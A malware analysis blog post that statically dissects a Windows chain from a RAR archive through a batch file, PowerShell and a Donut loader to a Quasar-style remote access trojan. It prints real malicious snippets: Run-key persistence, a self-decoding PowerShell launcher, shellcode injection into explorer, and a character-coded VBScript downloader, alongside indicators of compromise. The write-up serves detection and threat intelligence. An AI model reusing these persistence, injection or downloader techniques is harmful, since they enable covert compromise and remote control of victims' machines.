---
title: RAR to batch to PowerShell to InvokedClient: static analysis
date: 2026-10-20
excerpt: A static look at a Windows chain from a RAR archive through a batch file and PowerShell to an InvokedClient payload. No sample was executed.
tags: Malware Analysis, Windows, Threat Intelligence
canonical: https://sw64.dev/blog/clarkkk-invoked-analysis
author: SW64
---

This report documents a Windows malware chain recovered from `clarkkk#@..rar`, and its relationship to the separately supplied `atlasb.bat` and `u.exe`. Analysis date: **2026-10-18**. The supplied files were inspected as data. No sample was executed, built, or allowed to contact its configured servers.

> [!WARNING]
> Malicious code is present in the text files in the Analysis-Work zip. Read it as evidence. Do not execute it.

## What was established

`atlasb.bat` is byte-for-byte identical to the batch payload recovered from the RAR. `u.exe` is byte-for-byte identical to the final .NET executable decoded from that batch chain. These connections were verified by SHA-256, not inferred from filenames.

| Supplied artifact | Size in bytes | SHA-256 |
| --- | ---: | --- |
| `clarkkk#@..rar` | 2,446,532 | `9a5f4cb7d903b736558551e7c777cea872bb91c9eb00e580ec23cd35114c630e` |
| `atlasb.bat` / recovered batch | 1,187,656 | `01d0adb3c1d4d5b689e4181dc74f49f966b0ba4564e798e00893b051016b7e2a` |
| `u.exe` / decoded .NET payload | 648,704 | `67c65434d8de53b7976be1e0ab9d38cfff45642e5fc64a5b49c600f283c4bac3` |

## How the components connect

```text
RAR5 archive
  ├─ visible personal-information decoy — omitted from this publication
  ├─ hidden batch streams → atlasb.bat
  │    └─ comment-embedded PowerShell
  │         └─ Donut loader → .NET InvokedClient payload → u.exe
  └─ hidden VBScript downloader — separate route; launch not established
```

The archive has five hidden NTFS alternate data stream records containing two unique scripts. Some stream names use parent-directory traversal targeting a Windows Startup directory. This is consistent with the WinRAR technique described in [ESET's CVE-2025-8088 research](https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/). Exploitation was not tested. Recovery discarded those paths and used fixed output filenames.

The batch copies itself to `%APPDATA%\GoogleChrome\update.bat` and establishes an HKCU Run value named `GoogleChromeUpdate`. These lines are from the recovered batch, `01-google.bat.txt`:

```bat
set "sNlJFUgCYV=%APPDATA%\GoogleChrome"
set "faG8NNMUn=%sNlJFUgCYV%\update.bat"
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleChromeUpdate" /t REG_SZ /d "%VFx0bi%" /f >nul
```

It then reads its own file and runs whatever sits after the `::JZ2qvj::` marker. Line 202 of the same file:

```bat
powershell -NoProfile -ExecutionPolicy Bypass -Command "try { if ((Get-Content -LiteralPath '%~f0' -Raw -ErrorAction Stop) -match '::JZ2qvj::([A-Za-z0-9+/=]+)') { & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])))) } } catch { exit }" >nul 2>&1
```

The marker is at **line 263**, near the end, not the final line. The batch contains 288 lines. The encoded blob on that line is about 1.1 MB, so only the start is shown here:

```text
::JZ2qvj::JERRZGV0UWJFID0gW1N5c3RlbS5UaHJlYWRpbm...
```

Decoding that blob produces the PowerShell below. These are selected lines from `03-decoded-powershell.ps1.txt`. The shellcode bytes are omitted:

```powershell
$DQdetQbE = [System.Threading.Mutex]::new($false, "tcyWDT")
if (-not $DQdetQbE.WaitOne(0)) { exit }

$JBqbO = Get-Process "explorer" -ErrorAction SilentlyContinue | Get-Random
if (-not $JBqbO) { exit }

$v3Zgar = -not [NtDLL]::NtCreateSection([ref] $ZVjVYewnmZ, 0xe, [IntPtr]::Zero, [ref] $nZmQpqZV7, 0x40, 0x8000000, [IntPtr]::Zero)
$M3ZaRNmk = -not [NtDLL]::NtMapViewOfSection($ZVjVYewnmZ, -1, [ref] $tJI9ec9nNE, 0, 0, [ref] $null, [ref] $nZmQpqZV7, 0x2, 0, 0x04)
[Runtime.InteropServices.Marshal]::WriteByte($tJI9ec9nNE, $Kk0DCZnm, $zy2BrqFImiE[$Kk0DCZnm] -bxor 105)

$BPV0br = [Kernel32]::OpenProcess(0xA, $false, $JBqbO.id)
$v8j1IVwr = [Kernel32]::CreateRemoteThread($BPV0br, [IntPtr]::Zero, 0, $IAltmPxE, [IntPtr]::Zero, 0, [ref] $null)
```

Static decoding of that payload recovered a Donut loader and its compressed managed payload. These lines are from separate places in `InvokedClient.decompiled.cs.txt`:

```csharp
using InvokedCommon;
using InvokedCommon.Messages.ReverseProxy;

new Mutex(initiallyOwned: false, "Local\\" + name, out var createdNew);

return message is GetKeyloggerLogsDirectory;
```

The separate downloader, `02-hidden-downloader.vbs.txt`, writes into a fixed temporary directory and builds its URL one character code at a time. The array in the file is longer than this. The start is:

```vbs
targetFolder = fso.BuildPath(tempFolder, "scoped_dir2716372_129425779512")
For Each c In Array(104,116,116,112,115,58,47,47,114,97,119,...)
    u = u & Chr(c)
Next
```

Those first codes are `https://raw`. The rest of the array is in `02-hidden-downloader.vbs.txt` inside `clarkkk-invoked-analysis.zip`. Decoded, it is the defanged URL in the indicator table. The final payload uses `InvokedClient` and `InvokedCommon` components. It implements remote command execution, file, process, and registry management, reverse proxy functions, and server-delivered .NET plugin loading. Keyboard logging and screen and input routines are present. The decoded sample configuration disables automatic keylogging. Capabilities should not be confused with observed execution.

## Code and provenance

The recovered text files are in `clarkkk-invoked-analysis.zip` on [Analysis-Work](https://github.com/SystemWOWS/Analysis-Work).

| Evidence | File in the zip |
| --- | --- |
| Complete recovered batch, also matching `atlasb.bat` | `code/scripts/01-google.bat.txt` |
| Separate recovered downloader | `code/scripts/02-hidden-downloader.vbs.txt` |
| Decoded embedded PowerShell | `code/scripts/03-decoded-powershell.ps1.txt` |
| Decompiled final payload, matching `u.exe` | `code/dotnet/InvokedClient.decompiled.cs.txt` |
| Decompiled shared library and native API helper | `code/dotnet/invokedcommon.dll.cs.txt`, `code/dotnet/native-interop-helper.cs.txt` |
| Decompiled embedded dependencies | `code/dependencies/` |
| Native loader's linear disassembly | `code/native/donut-loader-x64.disassembly.txt` |
| Sizes and SHA-256 of published code files | `source-manifest.json` |

The scripts were recovered directly. C# decompilation and native disassembly are reconstructed representations, not original developer source. Obfuscated names and decompiler warnings remain. The native disassembly can include data interpreted as instructions. No malware functionality was repaired or enhanced for this publication.

Original executable and archive containers are identified by hash rather than included as runnable downloads. The private decoy content and information about the analyst's computer are omitted.

## Detection and investigation indicators

These indicators describe this sample. Their presence or absence alone is not a verdict on a host.

| Indicator | Observed value |
| --- | --- |
| Configured server | `158.94.211[.]49:4782` |
| Batch persistence file | `%APPDATA%\GoogleChrome\update.bat` |
| Run value | `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` → `GoogleChromeUpdate` |
| PowerShell mutex | `tcyWDT` |
| Client mutex | `0b81aaf2-372f-4d7c-a58b-e27a5a5a8bcd` |
| Client startup label | `Quasar Client Startup` |
| Downloader URL, defanged | `hxxps://raw[.]githubusercontent[.]com/Koap9238/Google-Chrome/refs/heads/main/google.txt` |
| Downloader temporary directory | `%TEMP%\scoped_dir2716372_129425779512` |

The downloader URL was not fetched. The ten encrypted configuration fields passed HMAC verification during static decoding. No claim is made about the current activity or ownership of the configured endpoint.

## Related source package and limits

See [the analysis of `5mb8dr6.rar`](/blog/xanrat-source-analysis) for a largely decompiled source package using the same Invoked/Quasar naming and architecture. Four third-party library hashes overlap. This does not prove that exact source package produced this executable, and it does not establish common authorship.

This is static evidence, not a recorded infection or sandbox trace. Additional server-delivered plugins and remotely fetched content were not present in this archive. The original source, author identity, and distribution history were not established. Copyright and license claims for third-party code are not changed by this research publication.

Supporting format references: [RAR specification](https://www.rarlab.com/technote.htm), [Donut developer notes](https://github.com/TheWover/donut/blob/master/docs/devnotes.md).